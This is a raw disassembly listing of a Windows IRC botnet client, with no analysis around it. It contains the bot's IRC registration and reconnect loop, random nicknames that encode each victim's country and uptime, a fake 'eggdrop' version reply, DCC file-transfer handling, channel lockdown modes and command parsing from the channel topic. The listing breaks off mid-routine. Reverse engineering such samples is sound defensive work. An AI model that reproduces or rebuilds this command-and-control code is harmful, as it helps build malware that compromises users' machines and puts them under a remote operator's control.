loc_4091DD: ; CODE XREF: sub_4091AD+29j
mov ebx, offset dword_419D38
push ebx
call sub_4114B8 ; _mbscpy
cmp [ebp+arg_8], 0
pop ecx
pop ecx
jz short loc_4091F5
push [ebp+arg_8]
jmp short loc_409251
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_4091AD+41j
push offset byte_4191D0
jmp short loc_409251
; ---------------------------------------------------------------------------
loc_4091FC: ; CODE XREF: sub_4091AD+10j
xor esi, esi
cmp off_418E20, ebx
jz short loc_409213
mov eax, offset off_418E20
loc_40920B: ; CODE XREF: sub_4091AD+64j
add eax, 0Ch
inc esi
cmp [eax], ebx
jnz short loc_40920B
loc_409213: ; CODE XREF: sub_4091AD+57j
call sub_40B480
xor edx, edx
div esi
lea esi, [edx+edx*2]
shl esi, 2
push off_418E20[esi]
push offset dword_419C38
call sub_4114B8 ; _mbscpy
push off_418E24[esi]
mov ebx, offset dword_419D38
push ebx
call sub_4114B8 ; _mbscpy
mov esi, off_418E28[esi]
add esp, 10h
test esi, esi
jz short loc_409259
push esi
loc_409251: ; CODE XREF: sub_4091AD+46j
; sub_4091AD+4Dj
push edi
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_409259: ; CODE XREF: sub_4091AD+A1j
push offset dword_419C38
call sub_40B5A8
push ebx
call sub_40B5A8
push edi
call sub_40B5A8
add esp, 0Ch
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4091AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409277 proc near ; CODE XREF: sub_409522+B9p
; sub_409918+4BFp
var_238 = byte ptr -238h
var_1B4 = dword ptr -1B4h
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 238h
lea eax, [ebp+var_238]
push esi
push eax
lea eax, [ebp+var_120]
push eax
lea eax, [ebp+var_A0]
push eax
call sub_404A70
add esp, 0Ch
cmp byte_419AB8, 0
jz short loc_4092C7
mov esi, offset byte_419AB8
push esi
call sub_40B5E1
pop ecx
push esi
push offset aPassS ; "PASS %s"
call sub_4097DB
push esi
call sub_40B5A8
add esp, 0Ch
loc_4092C7: ; CODE XREF: sub_409277+2Ej
xor esi, esi
cmp [ebp+arg_0], esi
jz short loc_40934B
cmp byte_41A268, 0
jz short loc_4092E5
lea eax, [ebp+var_120]
push offset byte_41A268
push eax
jmp short loc_4092F1
; ---------------------------------------------------------------------------
loc_4092E5: ; CODE XREF: sub_409277+5Ej
lea eax, [ebp+var_120]
push eax
push offset byte_41A268
loc_4092F1: ; CODE XREF: sub_409277+6Cj
call sub_4114B8 ; _mbscpy
cmp byte_41A3E8, 0
pop ecx
pop ecx
jz short loc_40930F
lea eax, [ebp+var_238]
push offset byte_41A3E8
push eax
jmp short loc_40931B
; ---------------------------------------------------------------------------
loc_40930F: ; CODE XREF: sub_409277+88j
lea eax, [ebp+var_238]
push eax
push offset byte_41A3E8
loc_40931B: ; CODE XREF: sub_409277+96j
call sub_4114B8 ; _mbscpy
pop ecx
lea eax, [ebp+var_238]
pop ecx
push eax
lea eax, [ebp+var_120]
push eax
lea eax, [ebp+var_120]
push eax
lea eax, [ebp+var_120]
push eax
push offset aUserSSSS ; "USER %s %s %s :%s"
call sub_4097DB
add esp, 14h
loc_40934B: ; CODE XREF: sub_409277+55j
cmp [ebp+arg_4], esi
jz loc_40951F
cmp [ebp+arg_0], esi
jz short loc_409378
cmp byte_41A1E8, 0
jz short loc_409378
push offset byte_41A1E8
push offset dword_414F0C
call sub_4097DB
pop ecx
pop ecx
jmp loc_40951F
; ---------------------------------------------------------------------------
loc_409378: ; CODE XREF: sub_409277+E0j
; sub_409277+E9j
call sub_406AB7
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, 4
mov [ebp+arg_4], eax
jnb short loc_4093C8
call sub_404DAD
test eax, eax
jnz short loc_4093C8
lea eax, [ebp+var_A0]
push offset dword_418E44
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_A0]
push eax
call sub_40B5E1
lea eax, [ebp+var_A0]
push eax
call sub_4098C7
add esp, 10h
jmp loc_4094FA
; ---------------------------------------------------------------------------
loc_4093C8: ; CODE XREF: sub_409277+115j
; sub_409277+11Ej
call sub_404D00
lea eax, [ebp+var_20]
push eax
call sub_405F9A
test eax, eax
pop ecx
jnz short loc_4093EB
lea eax, [ebp+var_20]
push offset aUnk ; "UNK"
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_4093EB: ; CODE XREF: sub_409277+162j
call sub_4067B2
mov ecx, 400h
cmp eax, ecx
jbe short loc_409400
call sub_4067B2
jmp short loc_409402
; ---------------------------------------------------------------------------
loc_409400: ; CODE XREF: sub_409277+180j
mov eax, ecx
loc_409402: ; CODE XREF: sub_409277+187j
shr eax, 0Ah
push ebx
mov [ebp+arg_0], eax
call sub_406373
cmp eax, 2EEh
mov ebx, offset aB ; "B"
jnb short loc_40941F
mov ebx, offset aA ; "A"
loc_40941F: ; CODE XREF: sub_409277+1A1j
cmp eax, 1F4h
jnb short loc_40942B
mov ebx, offset aG ; "G"
loc_40942B: ; CODE XREF: sub_409277+1ADj
push edi
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_1B0]
mov [ebp+var_1B4], 94h
rep stosd
lea eax, [ebp+var_1B4]
push eax
call dword_412034 ; GetVersionExA
cmp [ebp+var_1B0], 5
pop edi
jnz short loc_409466
cmp [ebp+var_1AC], 1
jnz short loc_409466
push 1
pop esi
loc_409466: ; CODE XREF: sub_409277+1E1j
; sub_409277+1EAj
push 5Ah
push 41h
call sub_40B459
pop ecx
pop ecx
push eax
push 5Ah
push 41h
call sub_40B459
pop ecx
pop ecx
test esi, esi
push eax
setz al
dec eax
and eax, 2Fh
add eax, 2Dh
movsx eax, al
push eax
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_20]
push 5Dh
push [ebp+arg_4]
push 5Bh
push 5Dh
push eax
push 5Bh
lea eax, [ebp+var_A0]
push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
push eax
call sub_4114DC ; sprintf
add esp, 34h
cmp byte_418ED0, 0
pop ebx
jz short loc_4094FA
mov esi, offset dword_418E50
push offset byte_418ED0
push esi
call sub_4114B8 ; _mbscpy
push esi
call sub_40B5E1
add esp, 0Ch
cmp byte_418F50, 0
jz short loc_4094FA
mov esi, offset dword_41A0E8
push offset byte_418F50
push esi
call sub_4114B8 ; _mbscpy
push esi
call sub_40B5E1
add esp, 0Ch
loc_4094FA: ; CODE XREF: sub_409277+14Cj
; sub_409277+246j ...
lea eax, [ebp+var_A0]
push eax
push offset dword_414F0C
call sub_4097DB
lea eax, [ebp+var_A0]
push eax
push offset byte_41A1E8
call sub_4114B8 ; _mbscpy
add esp, 10h
loc_40951F: ; CODE XREF: sub_409277+D7j
; sub_409277+FCj
pop esi
leave
retn
sub_409277 endp
; =============== S U B R O U T I N E =======================================
sub_409522 proc near ; CODE XREF: sub_407A76+129Cp
; sub_409918+3B8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push [esp+10h+arg_8]
push [esp+14h+arg_4]
push [esp+18h+arg_0]
call sub_4091AD
push dword_419D44
call sub_403D70
mov edi, offset dword_419C38
mov ebp, 0EA60h
push edi
call sub_40B5E1
mov esi, offset dword_419D38
push esi
call sub_40B5E1
mov ebx, 2710h
push ebx
push 1
push esi
push edi
call sub_403C04
push edi
mov dword_419D44, eax
call sub_40B5A8
push esi
call sub_40B5A8
add esp, 30h
loc_409580: ; CODE XREF: sub_409522+B3j
cmp dword_419D44, 0
jnz short loc_4095D7
xor eax, eax
push eax
push eax
push eax
call sub_4091AD
add esp, 0Ch
push ebp
call dword_4120A4 ; Sleep
cmp ebp, 0A4CB80h
jge short loc_4095AB
add ebp, 0EA60h
loc_4095AB: ; CODE XREF: sub_409522+81j
push edi
call sub_40B5E1
push esi
call sub_40B5E1
push ebx
push 1
push esi
push edi
call sub_403C04
push edi
mov dword_419D44, eax
call sub_40B5A8
push esi
call sub_40B5A8
add esp, 20h
jmp short loc_409580
; ---------------------------------------------------------------------------
loc_4095D7: ; CODE XREF: sub_409522+65j
push 1
push 1
call sub_409277
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409522 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095E7 proc near ; CODE XREF: sub_401B81+14Dp
; sub_407A76+B05p ...
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_411540
push [ebp+arg_0]
lea eax, [ebp+var_1000]
push offset aNoticeS ; "NOTICE %s :"
push eax
call sub_4114DC ; sprintf
lea ecx, [ebp+arg_8]
push ecx
mov ecx, 1000h
push [ebp+arg_4]
sub ecx, eax
lea eax, [ebp+eax+var_1000]
push ecx
push eax
call sub_411790 ; _vsnprintf
lea eax, [ebp+var_1000]
push offset asc_413214 ; "\r\n"
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_1000]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_1000]
push eax
push dword_419D44
call sub_403D9D
add esp, 34h
leave
retn
sub_4095E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409659 proc near ; CODE XREF: sub_401B81+184p
; sub_40287C+10Ep ...
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_411540
push [ebp+arg_0]
lea eax, [ebp+var_1000]
push offset aPrivmsgS ; "PRIVMSG %s :"
push eax
call sub_4114DC ; sprintf
lea ecx, [ebp+arg_8]
push ecx
mov ecx, 1000h
push [ebp+arg_4]
sub ecx, eax
lea eax, [ebp+eax+var_1000]
push ecx
push eax
call sub_411790 ; _vsnprintf
lea eax, [ebp+var_1000]
push offset asc_413214 ; "\r\n"
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_1000]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_1000]
push eax
push dword_419D44
call sub_403D9D
add esp, 34h
leave
retn
sub_409659 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096CB proc near ; CODE XREF: sub_4011C4+4Cp
; sub_4011C4+21Bp ...
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_411540
push esi
mov esi, [ebp+arg_0]
cmp byte ptr [esi+198h], 0
jnz loc_4097D8
mov eax, [esi+121h]
push edi
cmp eax, 1
jnz short loc_409700
lea eax, [esi+21h]
push eax
push offset aNoticeS ; "NOTICE %s :"
jmp short loc_409725
; ---------------------------------------------------------------------------
loc_409700: ; CODE XREF: sub_4096CB+28j
cmp eax, 2
jnz short loc_409710
lea eax, [esi+21h]
push eax
push offset dword_415060
jmp short loc_409725
; ---------------------------------------------------------------------------
loc_409710: ; CODE XREF: sub_4096CB+38j
cmp eax, 3
lea eax, [esi+21h]
push eax
jnz short loc_409720
push offset dword_415050
jmp short loc_409725
; ---------------------------------------------------------------------------
loc_409720: ; CODE XREF: sub_4096CB+4Cj
push offset aPrivmsgS ; "PRIVMSG %s :"
loc_409725: ; CODE XREF: sub_4096CB+33j
; sub_4096CB+43j ...
lea eax, [ebp+var_1000]
push eax
call sub_4114DC ; sprintf
add esp, 0Ch
cmp dword ptr [esi+19Fh], 0
mov edi, eax
jz short loc_409762
mov eax, [esi+121h]
cmp eax, 2
jz short loc_40974F
cmp eax, 3
jnz short loc_409762
loc_40974F: ; CODE XREF: sub_4096CB+7Dj
lea eax, [ebp+var_1000]
push offset dword_415044
push eax
call sub_4114EE ; _mbscat
pop ecx
pop ecx
loc_409762: ; CODE XREF: sub_4096CB+72j
; sub_4096CB+82j
lea eax, [ebp+arg_8]
push eax
mov eax, 1000h
push [ebp+arg_4]
sub eax, edi
push eax
lea eax, [ebp+edi+var_1000]
push eax
call sub_411790 ; _vsnprintf
mov esi, [esi+121h]
add esp, 10h
cmp esi, 2
pop edi
jz short loc_409792
cmp esi, 3
jnz short loc_4097A5
loc_409792: ; CODE XREF: sub_4096CB+C0j
lea eax, [ebp+var_1000]
push offset dword_415040
push eax
call sub_4114EE ; _mbscat
pop ecx
pop ecx
loc_4097A5: ; CODE XREF: sub_4096CB+C5j
lea eax, [ebp+var_1000]
push offset asc_413214 ; "\r\n"
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_1000]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_1000]
push eax
push dword_419D44
call sub_403D9D
add esp, 18h
loc_4097D8: ; CODE XREF: sub_4096CB+18j
pop esi
leave
retn
sub_4096CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4097DB proc near ; CODE XREF: sub_40287C:loc_402A05p
; sub_4052DF+D8p ...
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_411540
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_1000]
push [ebp+arg_0]
push 1000h
push eax
call sub_411790 ; _vsnprintf
lea eax, [ebp+var_1000]
push offset asc_413214 ; "\r\n"
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_1000]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_1000]
push eax
push dword_419D44
call sub_403D9D
add esp, 28h
leave
retn
sub_4097DB endp
; =============== S U B R O U T I N E =======================================
sub_409835 proc near ; CODE XREF: sub_409843+Bp
push 0
push offset aMirc ; "mIRC"
call dword_4121F8
retn
sub_409835 endp
; =============== S U B R O U T I N E =======================================
sub_409843 proc near ; CODE XREF: sub_407A76+12EDp
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push esi
push edi
xor edi, edi
cmp [esp+0Ch+arg_0], edi
jz short loc_4098C3
call sub_409835
mov esi, eax
cmp esi, edi
mov [esp+0Ch+var_4], esi
jz short loc_4098C3
push ebx
push ebp
push offset aMirc ; "mIRC"
push 1000h
push edi
push 4
push edi
push 0FFFFFFFFh
call dword_4120C8 ; CreateFileMappingA
push edi
push edi
mov ebx, eax
push edi
push 0F001Fh
push ebx
call dword_4120C4 ; MapViewOfFile
push [esp+14h+arg_0]
mov ebp, eax
push ebp
call sub_4114DC ; sprintf
pop ecx
pop ecx
push edi
push 1
push 4C8h
push esi
mov esi, dword_4121FC
call esi
push edi
push 1
push 4C9h
push [esp+20h+var_4]
call esi
push ebp
call dword_4120C0 ; UnmapViewOfFile
push ebx
call dword_4120AC ; CloseHandle
pop ebp
pop ebx
loc_4098C3: ; CODE XREF: sub_409843+9j
; sub_409843+18j
pop edi
pop esi
pop ecx
retn
sub_409843 endp
; =============== S U B R O U T I N E =======================================
sub_4098C7 proc near ; CODE XREF: sub_407A76+B0p
; sub_409277+144p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push edi
push ebx
call sub_4114BE ; strlen
mov ebp, eax
xor edi, edi
test ebp, ebp
pop ecx
jle short loc_409914
push esi
loc_4098DE: ; CODE XREF: sub_4098C7+4Aj
mov al, [edi+ebx]
lea esi, [edi+ebx]
cmp al, 23h
jnz short loc_4098EE
push 39h
push 30h
jmp short loc_409905
; ---------------------------------------------------------------------------
loc_4098EE: ; CODE XREF: sub_4098C7+1Fj
cmp al, 3Fh
jnz short loc_40990E
call sub_40B4C3
test eax, eax
jz short loc_409901
push 7Ah
push 61h
jmp short loc_409905
; ---------------------------------------------------------------------------
loc_409901: ; CODE XREF: sub_4098C7+32j
push 5Ah
push 41h
loc_409905: ; CODE XREF: sub_4098C7+25j
; sub_4098C7+38j
call sub_40B459
pop ecx
mov [esi], al
pop ecx
loc_40990E: ; CODE XREF: sub_4098C7+29j
inc edi
cmp edi, ebp
jl short loc_4098DE
pop esi
loc_409914: ; CODE XREF: sub_4098C7+14j
pop edi
pop ebp
pop ebx
retn
sub_4098C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409918 proc near ; CODE XREF: sub_40A236+1C4p
var_338 = byte ptr -338h
var_2BC = byte ptr -2BCh
var_260 = byte ptr -260h
var_23F = byte ptr -23Fh
var_1BC = byte ptr -1BCh
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_13F = dword ptr -13Fh
var_13B = byte ptr -13Bh
var_C1 = dword ptr -0C1h
var_BC = byte ptr -0BCh
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 338h
push ebx
push esi
mov esi, [ebp+arg_C]
push edi
push offset aPing ; "PING"
push dword ptr [esi]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_40994B
push dword ptr [esi+4]
push offset aPongS ; "PONG %s"
loc_409941: ; CODE XREF: sub_409918+39Ej
; sub_409918+3FCj ...
call sub_4097DB
jmp loc_409DBA
; ---------------------------------------------------------------------------
loc_40994B: ; CODE XREF: sub_409918+1Fj
push offset aPong ; "PONG"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz loc_40A231
push offset aMode ; "MODE"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz loc_40A231
push offset aPrivmsg ; "PRIVMSG"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409B55
mov eax, [esi+0Ch]
xor edi, edi
cmp eax, edi
jz loc_409B57
cmp byte ptr [eax+1], 1
jnz loc_409B57
push offset dword_415154
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409AB9
mov eax, [esi+10h]
cmp eax, edi
jz loc_409AB9
push offset aSend ; "SEND"
push eax
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409AB9
cmp [ebp+arg_0], edi
jz loc_409AB9
mov ecx, [esi+14h]
cmp ecx, edi
jz loc_40A231
cmp [esi+18h], edi
jz loc_40A231
cmp [esi+1Ch], edi
jz loc_40A231
mov eax, [esi+20h]
cmp eax, edi
jz loc_40A231
cmp byte ptr [ecx], 22h
jz loc_40A231
push eax
call sub_4114BE ; strlen
mov ecx, [esi+20h]
push [ebp+arg_4]
and byte ptr [eax+ecx], 0
lea eax, [ebp+var_260]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_23F]
push offset dword_418E50
push eax
call sub_4114B8 ; _mbscpy
push 7Ah
lea eax, [ebp+var_13B]
push edi
push eax
mov [ebp+var_13F], edi
call sub_4114E8 ; memset
push dword ptr [esi+18h]
mov [ebp+var_C1], 1
call sub_41151C ; atoi
movzx ecx, al
add esp, 24h
push ecx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
push ecx
mov ecx, eax
shr ecx, 10h
movzx ecx, cl
shr eax, 18h
push ecx
push eax
lea eax, [ebp+var_2C]
push offset dword_413A58
push eax
call sub_4114DC ; sprintf
push dword ptr [esi+20h]
lea eax, [ebp+var_2C]
push dword ptr [esi+1Ch]
push eax
lea eax, [ebp+var_260]
push dword ptr [esi+14h]
push [ebp+arg_4]
push eax
call sub_401EA8
add esp, 30h
jmp loc_40A231
; ---------------------------------------------------------------------------
loc_409AB9: ; CODE XREF: sub_409918+9Ej
; sub_409918+A9j ...
push offset dword_415140
push dword ptr [esi+0Ch]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz short loc_409B19
push offset dword_415134
push dword ptr [esi+0Ch]
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409B19
push offset dword_41512C
push dword ptr [esi+0Ch]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jz short loc_409B04
push offset dword_415124
push dword ptr [esi+0Ch]
call dword_412110
test eax, eax
jnz short loc_409B57
loc_409B04: ; CODE XREF: sub_409918+1D8j
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
push eax
push [ebp+arg_4]
call sub_4095E7
jmp loc_409DBA
; ---------------------------------------------------------------------------
loc_409B19: ; CODE XREF: sub_409918+1B2j
; sub_409918+1C5j
cmp [ebp+arg_0], edi
jz short loc_409B3E
push offset dword_418FD0
push 3AEh
push edi
push offset dword_415100
push [ebp+arg_4]
call sub_4095E7
add esp, 14h
jmp loc_40A231
; ---------------------------------------------------------------------------
loc_409B3E: ; CODE XREF: sub_409918+204j
push offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
push offset dword_4150E0
push [ebp+arg_4]
call sub_4095E7
jmp loc_409E4C
; ---------------------------------------------------------------------------
loc_409B55: ; CODE XREF: sub_409918+72j
xor edi, edi
loc_409B57: ; CODE XREF: sub_409918+7Fj
; sub_409918+89j ...
push offset a433 ; "433"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409CBB
call sub_406AB7
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, 4
mov [ebp+arg_10], eax
jnb short loc_409BBE
call sub_404DAD
test eax, eax
jnz short loc_409BBE
lea eax, [ebp+var_BC]
push offset dword_418E44
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_BC]
push eax
call sub_40B5E1
lea eax, [ebp+var_BC]
push eax
call sub_4098C7
add esp, 10h
jmp loc_409CAA
; ---------------------------------------------------------------------------
loc_409BBE: ; CODE XREF: sub_409918+26Aj
; sub_409918+273j
call sub_404D00
lea eax, [ebp+var_3C]
push eax
call sub_405F9A
test eax, eax
pop ecx
jnz short loc_409BE1
lea eax, [ebp+var_3C]
push offset aUnk ; "UNK"
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
loc_409BE1: ; CODE XREF: sub_409918+2B7j
call sub_4067B2
mov ecx, 400h
cmp eax, ecx
jbe short loc_409BF6
call sub_4067B2
jmp short loc_409BF8
; ---------------------------------------------------------------------------
loc_409BF6: ; CODE XREF: sub_409918+2D5j
mov eax, ecx
loc_409BF8: ; CODE XREF: sub_409918+2DCj
shr eax, 0Ah
mov [ebp+arg_4], eax
call sub_406373
cmp eax, 3E8h
mov ebx, offset aB ; "B"
jnb short loc_409C14
mov ebx, offset aA ; "A"
loc_409C14: ; CODE XREF: sub_409918+2F5j
cmp eax, 1F4h
jnb short loc_409C20
mov ebx, offset aG ; "G"
loc_409C20: ; CODE XREF: sub_409918+301j
push 24h
xor eax, eax
pop ecx
lea edi, [ebp+var_14C]
mov [ebp+var_150], 94h
xor esi, esi
rep stosd
lea eax, [ebp+var_150]
push eax
call dword_412034 ; GetVersionExA
cmp [ebp+var_14C], 5
jnz short loc_409C5B
cmp [ebp+var_148], 1
jnz short loc_409C5B
push 1
pop esi
loc_409C5B: ; CODE XREF: sub_409918+335j
; sub_409918+33Ej
push 5Ah
push 41h
call sub_40B459
pop ecx
pop ecx
push eax
push 5Ah
push 41h
call sub_40B459
pop ecx
pop ecx
test esi, esi
push eax
setz al
dec eax
and eax, 2Fh
add eax, 2Dh
movsx eax, al
push eax
push ebx
push [ebp+arg_4]
lea eax, [ebp+var_3C]
push 5Dh
push [ebp+arg_10]
push 5Bh
push 5Dh
push eax
push 5Bh
lea eax, [ebp+var_BC]
push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
push eax
call sub_4114DC ; sprintf
add esp, 34h
loc_409CAA: ; CODE XREF: sub_409918+2A1j
lea eax, [ebp+var_BC]
push eax
push offset dword_414F0C
jmp loc_409941
; ---------------------------------------------------------------------------
loc_409CBB: ; CODE XREF: sub_409918+250j
push offset aError ; "ERROR"
push dword ptr [esi]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409CDA
push edi
push edi
push edi
call sub_409522
jmp loc_409E4C
; ---------------------------------------------------------------------------
loc_409CDA: ; CODE XREF: sub_409918+3B3j
push offset aJoin ; "JOIN"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
mov edi, offset byte_41A1E8
test eax, eax
pop ecx
jnz short loc_409D19
push edi
push [ebp+arg_4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409D19
mov eax, [esi+8]
test eax, eax
jz short loc_409D19
cmp byte ptr [eax], 3Ah
jnz short loc_409D0E
inc eax
loc_409D0E: ; CODE XREF: sub_409918+3F3j
push eax
push offset aModeSSmntu ; "MODE %s +smntu"
jmp loc_409941
; ---------------------------------------------------------------------------
loc_409D19: ; CODE XREF: sub_409918+3D8j
; sub_409918+3E7j ...
push offset a001 ; "001"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_409DC1
push 21h
lea eax, [ebp+var_3C]
push dword ptr [esi+8]
push eax
call sub_4114D6 ; strncpy
lea eax, [ebp+var_3C]
push eax
push edi
call sub_4114B8 ; _mbscpy
add esp, 14h
lea eax, [ebp+var_3C]
push eax
push offset aModeSXi ; "MODE %s +xi"
call sub_4097DB
pop ecx
pop ecx
push offset dword_41A0E8
push offset dword_418E50
push offset dword_414AD8
call sub_4097DB
add esp, 0Ch
lea eax, [ebp+var_1BC]
push eax
call sub_4091A7
push eax
call sub_40348C
pop ecx
test eax, eax
pop ecx
jz short loc_409D9B
lea eax, [ebp+var_1BC]
push eax
call sub_40324A
test eax, eax
pop ecx
jz short loc_409DA9
loc_409D9B: ; CODE XREF: sub_409918+470j
lea eax, [ebp+var_3C]
push eax
push offset aUserhostS ; "USERHOST %s"
jmp loc_409941
; ---------------------------------------------------------------------------
loc_409DA9: ; CODE XREF: sub_409918+481j
lea eax, [ebp+var_1BC]
push eax
push offset dword_41A2E8
loc_409DB5: ; CODE XREF: sub_409918+571j
call sub_4114B8 ; _mbscpy
loc_409DBA: ; CODE XREF: sub_409918+2Ej
; sub_409918+1FCj ...
pop ecx
pop ecx
jmp loc_40A231
; ---------------------------------------------------------------------------
loc_409DC1: ; CODE XREF: sub_409918+412j
push offset a451 ; "451"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409DDE
push eax
push 1
call sub_409277
jmp short loc_409DBA
; ---------------------------------------------------------------------------
loc_409DDE: ; CODE XREF: sub_409918+4BAj
push offset a302 ; "302"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409E54
mov esi, [esi+0Ch]
test esi, esi
jz loc_40A231
push offset a@ ; "@"
push esi
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz loc_40A231
mov esi, 100h
lea ebx, [eax+1]
push esi
mov edi, offset dword_41A2E8
push ebx
push edi
call sub_4059C2
lea eax, [ebp+var_1BC]
push eax
push ebx
call sub_4035CE
add esp, 14h
test al, al
jz loc_40A231
lea eax, [ebp+var_1BC]
push esi
push eax
push edi
call sub_4059C2
loc_409E4C: ; CODE XREF: sub_409918+238j
; sub_409918+3BDj
add esp, 0Ch
jmp loc_40A231
; ---------------------------------------------------------------------------
loc_409E54: ; CODE XREF: sub_409918+4D7j
push offset aNick ; "NICK"
push dword ptr [esi+4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz short loc_409E8E
cmp [esi+8], eax
jz loc_40A231
push edi
push [ebp+arg_4]
call sub_411924 ; _strcmpi
pop ecx
test eax, eax
pop ecx
jnz loc_40A231
mov eax, [esi+8]
inc eax
push eax
push edi
jmp loc_409DB5
; ---------------------------------------------------------------------------
loc_409E8E: ; CODE XREF: sub_409918+54Dj
push offset a332 ; "332"
push dword ptr [esi+4]
call sub_41177E ; strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409F76
mov edi, [ebp+arg_10]
mov eax, [edi+10h]
test eax, eax
jz loc_40A231
mov dl, [eax+1]
lea ecx, [eax+1]
test dl, dl
jz loc_40A231
cmp dl, 3Dh
jnz short loc_409F0C
add eax, 2
push ecx
push eax
call sub_40A44E
push eax
mov eax, [edi+10h]
inc eax
push eax
call sub_40A82E
mov ebx, eax
mov eax, [edi+10h]
inc eax
push ebx
push eax
call sub_40A7AE
mov eax, [edi+14h]
add esp, 18h
test eax, eax
jz short loc_409F04
push eax
mov eax, [edi+10h]
lea eax, [eax+ebx+1]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
pop ecx
jmp short loc_409F0C
; ---------------------------------------------------------------------------
loc_409F04: ; CODE XREF: sub_409918+5D8j
mov eax, [edi+10h]
and byte ptr [eax+ebx+1], 0
loc_409F0C: ; CODE XREF: sub_409918+5ACj
; sub_409918+5EAj
mov edi, [edi+10h]
cmp byte ptr [edi+1], 0
lea eax, [edi+1]
jz loc_40A231
lea ecx, [ebp+arg_4]
mov edi, offset asc_415084 ; "]["
push ecx
push edi
push eax
call sub_405E4F
add esp, 0Ch
loc_409F2F: ; CODE XREF: sub_409918+65Cj
test eax, eax
jz loc_40A231
loc_409F37: ; CODE XREF: sub_409918+625j
cmp byte ptr [eax], 20h
